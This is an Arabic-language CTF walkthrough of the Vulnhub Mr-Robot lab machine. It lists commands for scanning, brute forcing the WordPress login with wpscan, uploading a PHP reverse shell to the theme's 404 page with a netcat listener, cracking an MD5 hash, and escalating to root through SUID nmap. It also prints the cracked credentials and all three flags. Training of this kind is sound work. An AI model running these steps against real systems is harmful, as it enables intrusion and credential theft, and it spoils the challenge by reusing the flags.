حل تحدى Mr-Robot من Vulnhub - النسخه العربية

CTF Walkthrough
جوله شيقه في حل تحدى Mr-Robot من Vulnhub المدعومة بواسطة OffSec
Mostafa Tamam
Sept. 27, 2023, 9 a.m.
mostafa_tamam
حل تحدى Mr-Robot من Vulnhub - النسخه العربية

مقدمة

أهلا Hunters laugh عدنا إليكم بتحدي جديد وتدريب جيد مقدم من Vulnhub ويدعى Mr-Robot !! أممممم هل قابلت هذا الاسم من قبل ؟ , إذا دعنا نقوم بحل الـ Machine ونكتشف كل التقنيات والأدوات للحصول على الثلاث مفاتيح المخفية. 

المستوى: مبتدأ إلى متوسط 

الهدف : الحصول على الثلاث مفاتيح المخفيه داخل الـ Machine مع اختلاف الصلاحيات للحصول على كل مفتاح .

رابط التحميل: https://www.vulnhub.com/entry/mr-robot-1,151

خطوات الحل 

  1. Finding IP (netdiscover)
  2. Network Scanning (Nmap)
  3. Viewing the target Website on a web browser
  4. Vuln Analysis (Nikto)
  5. Use robot.txt
  6. Grab 1st key
  7. Download fsocity.dic file and use a dictionary
  8. WordPress password cracking (wpscan)
  9.  Login into WordPress
  10. Edit php-reverse-shell file
  11. Upload and execute a backdoor
  12. Reverse connection (nc) 
  13. Get MD5 hash and decrypt it
  14. Find / perm u=s for Privilege Escalation
  15. Get Root access and capture the flag.

 

الحصول على الـ IP 

بعد تحميل ملف Mr.Robot.ova , قم بعمل import للـ Machine من خلال Virtual box أو VMware , ثم ستبدأ تلقائيا في التشغيل .

بعد ذلك نريد الحصول على الـ IP الخاص بالـ Machine ومن إعدادات الشبكة قمنا بعمل DHCP حتى نتمكن من الحصول على IP تلقائى , ثم سنبدأ في البحث عن الـ IP باستخدام أداة netdiscover من خلال : - 

netdiscover -i wlan0 -r 192.168.1.1/16

جيد !! حصلنا على عنوان الـ IP الخاص بنا , وتذكر أنه متغير حسب الشبكه الخاصة بك , في حالتنا الـ IP الخاص بنا هو 192.168.1.28

فحص عنوان الـ IP بأستحدام الـ nmap 

الآن ننتقل إلى فحص الشبكة بأستخدام أداة nmap لفحص جميع الـ Ports المفتوحة وإعطاء معلومات أكثر عن الأصدارات والخدمات لهذة الـ Machine , نقوم بأستخدام هذا من خلال :- 

export ip=192.168.1.28 && nmap -sC -sV -p- -A $ip

لاحظ هنا انى قمت باستخدام امر export لكى لا أحتاج إلى كتابة الـ IP الخاص بى كل مره في الـ Terminal .

 الآن تستطيع أن ترى كل الخدمات المتاحة والـ Ports لكي نقوم باستغلالها، الآن نجد أنهما منافذ 80 و 443

لنقوم بفتح ال IP على موقع الويب.  لم أجد أي شيء هام، لذا سنقوم بالبحث بشكل أكبر باستخدام أداه Nikto.

 

الفحص بأستخدام اداة Nikto

سنقوم بعمل تحليل للنظام من خلال :- 

nikto -h $ip

ممتاز !! وجدنا بعض المسارات الهامة , لنقوم بتفقد ملف robots.txt .

الحصول على المفتاح الأول

سنقوم بفتح ملف key-1-of-3.txt سوف نجد بداخله المفتاح الأول لحل الـ Mahcine 

1st  flag: 073403c8a58a1f80d943455fb30724b9

تحميل قاموس fsocity.dic 

قم بتحميل ملف fsocity. dic لكي نتمكن من استخدامه بعد ذلك في عملية الـBrute Force

http:/192.168.1.28/fsociety.dic

اختراق وردبريس باستخدام Wpscan

بالنسبة للـ Usermane سنسخدم اسم Elliot كما في الصفحة الرئيسية والمسلسل الخاص بمستر روبرت, ويمكنك استخدام الملف fsociety.dic في الـ brute force للباسورد ولكن سوف يستغرق الأمر وقتًا طويلاً لاختراق, يمكننا استخدام هذا من خلال :-

wpscan --url http://$ip --usernames Elliot --passwords /root/Desktop/fsocity.dic 

ممتاز قد حصلنا على الـ Credential الخاصة بالمستخدم .

Username: Elliot
Password: ER28-0652

الدخول إلى Wordpress

سنقوم بتسجيل الدخول إلى الـ wp-login من خلال :-

http://192.168.1.28/wp-login 

 

عمل PHP Backdoor 

بعد تسجيل الدخول ستقوم بفتح الـ Dashboard الخاص بالـ Admin .

قم بالدخول على الـ Appearance ومن ثم على الـ Editor ثم على صحفة 404 كما هو موضح في الصورة التاليه :- 

 

الحصول على Reverse Shell 

 أولا لنقوم بمعرفة الـ IP الخاص بنا لاستخدامه في الـ reverse shell 

سوف نقوم بتعديل ملف الـ php-reverse-shell التي ستجده بشكل افتراضي على نظام الكالي لينكس على المسار التالي:-

بعد تعديل الـ IP والـ Port الخاص بنا لعمل الـ reverse shell سوف نقوم برفع الملف على صفحة 404 ثم القيام بالحفظ .

الحصول على الـ Shell 

على الجانب الآخر نقوم بالتنصت على الـ Port وانتظار أى Shell نحصل عليها من خلال :-

nc -lnvp 1234

ثم نقوم بفتح الملف مره أخرى لكى نقوم بعمل الـ reverse shell 

http://192.168.1.28/wp-content/themes/twentyfifteen/404.php

Bingo تم الحصول على الـ Shell devil

تخطى الصلاحيات وعمل Privilege Escalation 

الآن لنقم بالدخول على الملفات وتصفحها من خلال :-

cd home
ls
cat password.raw-md5

جيد لقد وجدنا Password مشفرة باستخدام MD5 , بعد فك التشفير من موقع dcode سوف نأخذ الباسورد الخاص بالمستخدم robot وهو :-

abcdefghijklmnopqrstuvwxyz

ثم سنقوم بالتحويل على المستخدم robot من خلال:-

python -c ‘import pty;pty.spawn(“/bin/sh”)’
su robot
ls
cat key-2-of-3.txt

2nd  flag: 822c73956184f694993bede3eb39f959

الوصول إلى صلاحيات Root

لنقوم بتخطي الصلاحيات من الممكن أن نستخدم أمر sudo -l سوف نجد أنه ليس من صلاحيات هذا المستخدم استخدام هذا الـ command لذا سنقوم باستخدام :-

find / -perm -u=s -type f 2>/dev/null

سوف نجد في الصورة أعلاها أننا يمكن استخدام nmap للحصول على صلاحيات جديدة, جيد حتى الآن لنقوم باستخدام الوضع التفاعلي داخل الـ nmap المتوفر في الإصدارات 2.02 إلى 5.21، لتنفيذ أوامر shell.

nmap --interactive 
!sh
whoami
cd /root
ls  -lah
cat key-3-of-3.txt

3rd  flag: 04787ddef27c3dee1ee161b21670b4e4

 

ممتعة صحيح !! لقد وصلنا إلى صلاحيات الـ Root وقمنا بحل الـ Machine, إذا واجهتك أي مشكلة أو تريد توضيح أي خطوه قمنا بذكرها أخبرنا في التعليقات، وقم بمتابعتنا على منصات التواصل الاجتماعي وانتظر تحديات قوية في عالم ال CTF والسلام ختام،، wink


Vulnhub CTF Robot Mr-robot Mostafa Tamam Root-X